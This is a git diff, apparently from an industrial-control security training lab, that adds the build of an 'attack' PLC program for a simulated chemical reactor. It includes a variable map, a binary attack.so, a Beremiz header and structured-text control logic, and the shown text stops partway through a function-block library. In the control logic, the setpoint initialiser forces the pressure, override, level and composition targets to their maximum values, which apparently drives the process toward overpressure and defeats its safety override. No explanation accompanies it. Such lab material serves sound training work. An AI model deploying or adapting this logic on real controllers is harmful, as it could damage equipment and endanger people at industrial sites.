+399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + 